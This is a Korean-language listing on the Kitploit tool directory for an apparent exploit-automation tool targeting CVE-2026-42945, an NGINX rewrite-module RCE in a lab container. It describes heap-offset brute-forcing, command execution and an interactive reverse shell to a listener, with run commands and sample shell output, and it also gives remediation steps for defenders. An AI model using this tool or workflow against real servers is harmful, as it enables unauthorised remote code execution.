Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42945_NginxRift — NGINX 컨테이너에서 CVE-2026-42945 악용을 자동화합니다: 취약한 대상을 검증하고, 힙 오프셋을 브루트포스하며, 명령을 실행하고, 대화형 리버스 셸을 엽니다. | Kitploit
도구/GitHubGitHub/kentox493/cve-2026-42945_nginxrift
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingRed TeamingBinary Exploitation

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
kentox493/cve-2026-42945_nginxrift

CVE-2026-42945_NginxRift

NGINX 컨테이너에서 CVE-2026-42945 악용을 자동화합니다: 취약한 대상을 검증하고, 힙 오프셋을 브루트포스하며, 명령을 실행하고, 대화형 리버스 셸을 엽니다.

저장소 보기
1926일 전아직 검토되지 않음

🚀 NGINX Rift PoC Automation — CVE-2026-42945

nginx-rift 컨테이너의 RCE 익스플로잇을 위한 PoC 자동화 드라이버 · 대상 검증 → 단일 명령 익스플로잇 → 대화형 리버스 셸

Shell Python Platform License

단일 명령으로 컨테이너 확인부터 셸 획득까지 전체 익스플로잇 흐름을 오케스트레이션합니다.


⚠️ 윤리적 및 법적 경고 이 도구는 합법적이고 승인된 보안 테스트 전용입니다 — 계약된 펜테스트, 랩/CTF, 또는 본인 소유 자산. 시스템 소유자의 허가 없이 사용하는 것은 범죄 행위입니다(UU ITE, Computer Fraud and Abuse Act 등). 사용자는 그 사용에 대해 전적인 책임을 집니다.


📖 취약점 요약

CVE-2026-42945는 NGINX "Rift" 구성에서 발생하는 원격 코드 실행(RCE) 취약점입니다 — ngx_http_rewrite_module 모듈의 힙 기반 버퍼 오버플로 버그로, 특정 location 블록(/api/users/...)을 통해 트리거됩니다. 그 결과 공격자는 컨테이너 내부에서 system() 핸들러를 통해 명령을 실행할 수 있습니다.

이 저장소에는 2개의 구성 요소가 포함되어 있습니다:

파일기능
poc.py익스플로잇 드라이버 — 힙 오프셋 브루트포스, 두 가지 모드: --cmd(단일 명령) & --shell(리버스 셸)
scan.sh자동화 오케스트레이터 — 대상 검증, PoC 실행, 결과 검증 및 대화형 셸 세션

🏗 작업 흐름

root@kitploit:~
┌─────────────────────────────┐
│         scan.sh             │
│  Mode: auto / cmd / shell   │
└─────────────┬───────────────┘
              ▼
      [0] Preflight
      cek docker, curl, python3,
      nc, timeout + poc.py ada
              ▼
      [1] Verifikasi Target
      docker ps (label compose)
      → curl /api/users/42 (HTTP 200)
              ▼
      [2] PoC --cmd (max 3× retry)
      python3 poc.py --cmd 'echo hello
      from depthfirst > /tmp/pwned'
              │
              ▼ (timeout 300s per attempt)
      Verifikasi ground-truth:
      docker exec cat /tmp/pwned
              ▼
      [3] PoC --shell (opsional)
      listener 172.17.0.1:1337
      → prompt /bin/sh interaktif

⚙️ 시스템 요구 사항

운영자(스크립트가 실행되는 호스트):

  • Linux(bash) — Kali / Ubuntu / Debian에서 테스트됨
  • docker(sudo 사용 또는 docker 그룹의 사용자)
  • python3 + poc.py(scan.sh와 같은 디렉터리)
  • curl, nc(netcat), timeout(coreutils)

대상(랩):

  • nginx-rift 컨테이너가 실행 중(docker compose로 프로비저닝됨)
  • 호스트 포트 19321이 127.0.0.1에서 열려 있음
  • 컨테이너가 Docker 브리지에 연결됨(호스트 리스너 기본값 172.17.0.1)

📥 설치

root@kitploit:~
# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift

# 2. Pastikan executable
chmod +x scan.sh

# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout

scan.sh와 poc.py는 같은 디렉터리에 있어야 합니다.


🚀 사용 방법

root@kitploit:~
./scan.sh          # alur lengkap (default: auto)
./scan.sh cmd      # hanya PoC single-command + verifikasi marker
./scan.sh shell    # langsung reverse-shell interaktif
./scan.sh help     # tampilkan bantuan

auto 모드(기본값)

  1. 사전 점검(Preflight) — 모든 종속성 확인.
  2. 대상 검증 — 컨테이너가 실행 중인가? HTTP 200?
  3. PoC --cmd — 컨테이너 내부의 /tmp/pwned에 마커 hello from depthfirst 작성(자동 재시도 최대 3회, 시도당 300초 타임아웃).
  4. 결과 검증 — docker exec cat /tmp/pwned에 마커가 포함되어야 합니다(단순 출력 확인이 아닌 실측(ground-truth) 검증).
  5. 리버스 셸로 계속 진행? 프롬프트 → y를 입력하면 대화형 세션.

shell 모드

root@kitploit:~
./scan.sh shell

172.17.0.1:1337 리스너로 poc.py --shell을 실행합니다. 브루트포스가 성공하면 컨테이너 내부에서 NGINX worker 사용자로 대화형 /bin/sh 프롬프트를 얻습니다.

참고: IP 172.17.0.1은 기본 Docker 브리지의 호스트 주소입니다. 브리지가 다른 경우(docker network inspect bridge), scan.sh 상단의 LISTEN_IP 변수를 변경하세요.


🔧 변경 가능한 구성

모든 매개변수는 scan.sh 상단의 구성 블록에 모여 있습니다:


📸 출력 예시

root@kitploit:~
┌──────────────────────────────────────────────────────────────┐
│  NGINX RIFT · CVE-2026-42945 · PoC Automation Driver  │
└──────────────────────────────────────────────────────────────┘

── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)

── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42

── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target  : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...

[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)

[?] Lanjut ke reverse-shell interaktif? [y/N]: y

── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force

[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)

🛠 문제 해결


🛡 수정 조치(Blue Team용)

  1. NGINX 패치 — ngx_http_rewrite_module을 수정한 버전으로 업그레이드 / Rift 구성 제거.
  2. 노출 제한 — 컨테이너 포트를 0.0.0.0으로 노출하지 말 것; 내부 네트워크 + WAF가 있는 리버스 프록시 사용.
  3. 최소 권한 — 추가 권한 없이 NGINX worker 실행; --privileged로 컨테이너를 실행하지 말 것.
  4. 모니터링 — /api/users/로의 비정상 요청(비숫자 패턴, 긴 페이로드)에 대한 알림, nginx 프로세스에서 /bin/sh 실행(spawn) 탐지.
  5. 네트워크 분리 — 컨테이너 브리지를 호스트에서 분리; 리버스 셸을 어렵게 만들기 위해 컨테이너 egress 제한.

📁 저장소 구조

root@kitploit:~
CVE-2026-42945_NginxRift/
├── scan.sh     # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py      # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md   # Dokumentasi ini

⚖️ 면책 조항 및 라이선스

합법적인 사용 전용입니다. 이 도구는 다음을 위해 만들어졌습니다:

  • 전문 침투 테스트(서면 계약)
  • 보안 연구 및 책임 있는 공개(responsible disclosure)
  • 랩 / CTF 환경

어떤 인프라에서든 이 도구를 실행하기 전에 시스템 소유자의 서면 허가가 필수입니다.

저장소는 어떠한 보증 없이 "있는 그대로(as-is)" 제공됩니다. 기여자는 오용에 대해 책임지지 않습니다.

라이선스: MIT


📚 참고 자료

  • CVE-2026-42945 — NVD / MITRE
  • NGINX ngx_http_rewrite_module — 공식 문서
  • Docker Compose — 문서
도구 다운로드
항목세부 정보
CVECVE-2026-42945
유형원격 코드 실행 (RCE)
구성 요소NGINX (ngx_http_rewrite_module) — "Rift" 구성
트리거취약한 location 블록(/api/users/{id})으로의 요청
영향컨테이너 내부에서 NGINX worker 사용자로 임의 명령 실행
랩 설정nginx-rift-nginx-1 컨테이너 — 호스트 포트 19321
변수기본값기능
DOCKERsudo docker사용자가 docker 그룹에 있으면 docker로 변경
PROJECT_LABELcom.docker.compose.project=nginx-rift컨테이너 식별 필터
CONTAINERnginx-rift-nginx-1대상 컨테이너 이름
TARGET_HOST / TARGET_PORT127.0.0.1 / 19321대상 주소
LISTEN_IP / LISTEN_PORT172.17.0.1 / 1337리버스 셸 리스너
MARKER_FILE / MARKER_EXPECT/tmp/pwned / hello from depthfirst실행 검증
CMD_TIMEOUT300시도당 시간 제한(초)
MAX_ATTEMPTS3PoC --cmd 재시도 횟수
문제해결 방법
Container ... tidak berjalancd <project-dir> && sudo docker compose up -d 실행 후 다시 시도
HTTP 000 / connection refused포트 19321이 아직 준비되지 않음 — 몇 초 기다린 후 docker ps 확인
File 'poc.py' tidak ditemukan저장소 디렉터리에서 scan.sh 실행(poc.py는 같은 디렉터리에 있어야 함)
PoC --cmd 계속 실패(3×)MAX_ATTEMPTS / CMD_TIMEOUT 증가; 커널 및 NGINX 버전이 랩과 일치하는지 확인
리버스 셸 연결 안 됨LISTEN_IP가 브리지와 일치하는지 확인(docker network inspect bridge); 포트 1337이 사용 중이지 않은지 확인
unrecognized arguments 오류poc.py 버전이 --listen-ip/--listen-port 플래그를 지원하는지 확인(python3 poc.py -h 참조)